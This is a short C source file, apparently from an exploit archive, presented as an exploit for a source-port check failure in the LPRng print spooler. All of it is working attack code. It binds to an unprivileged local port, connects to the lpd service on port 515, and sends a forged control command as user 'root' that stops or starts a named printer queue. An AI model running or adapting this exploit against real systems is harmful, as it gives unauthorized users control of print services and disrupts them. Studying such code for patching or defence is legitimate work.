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lprng.c
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C/C++ Source or Header
|
2005-02-12
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2KB
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111 lines
/* Exploit for lprng's source port check failure.
* Written and tested on Debian GNU/Linux
*
* Chris Leishman <masklin@debian.org>
*/
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#define SRC_PORT 2056
#define HOST "127.0.0.1"
#define DST_PORT 515
int main(int argc, char **argv)
{
int sock;
struct sockaddr_in dest_sin;
struct sockaddr_in src_sin;
struct hostent *hp;
unsigned long ipnum;
char line[256];
int mode = 0;
if (argc < 2)
{
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
exit(EXIT_FAILURE);
}
if (argc >= 3)
{
if (!strcmp(argv[2], "start"))
mode = 1;
else if (strcmp(argv[2], "stop"))
{
fprintf(stderr, "Invalid mode. Use stop or start.\n");
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
exit(EXIT_FAILURE);
}
}
snprintf(line, sizeof(line), "%c%s root %s %s\n",
6, argv[1], (mode)? "start":"stop", argv[1]);
memset(&dest_sin, 0, sizeof(struct sockaddr_in));
dest_sin.sin_port = htons((short) DST_PORT);
ipnum = (unsigned long) inet_addr(HOST);
if (ipnum != ((unsigned long) INADDR_NONE))
{
dest_sin.sin_family = AF_INET;
dest_sin.sin_addr.s_addr = ipnum;
}
else
{
if ((hp = gethostbyname(HOST)) == NULL)
{
fprintf(stderr, "Host lookup failed.\n");
exit(EXIT_FAILURE);
}
dest_sin.sin_family = hp->h_addrtype;
memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
(size_t)hp->h_length);
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("Socket call failed");
exit(EXIT_FAILURE);
}
src_sin.sin_family = AF_INET;
src_sin.sin_addr.s_addr = INADDR_ANY;
src_sin.sin_port = htons((u_short) SRC_PORT);
if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
{
perror("Bind failed");
exit(EXIT_FAILURE);
}
if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
{
close(sock);
perror("Connect failed");
exit(EXIT_FAILURE);
}
if (write(sock, line, strlen(line)) <= 0)
{
perror("Write failed");
exit(EXIT_FAILURE);
}
close(sock);
return EXIT_SUCCESS;
}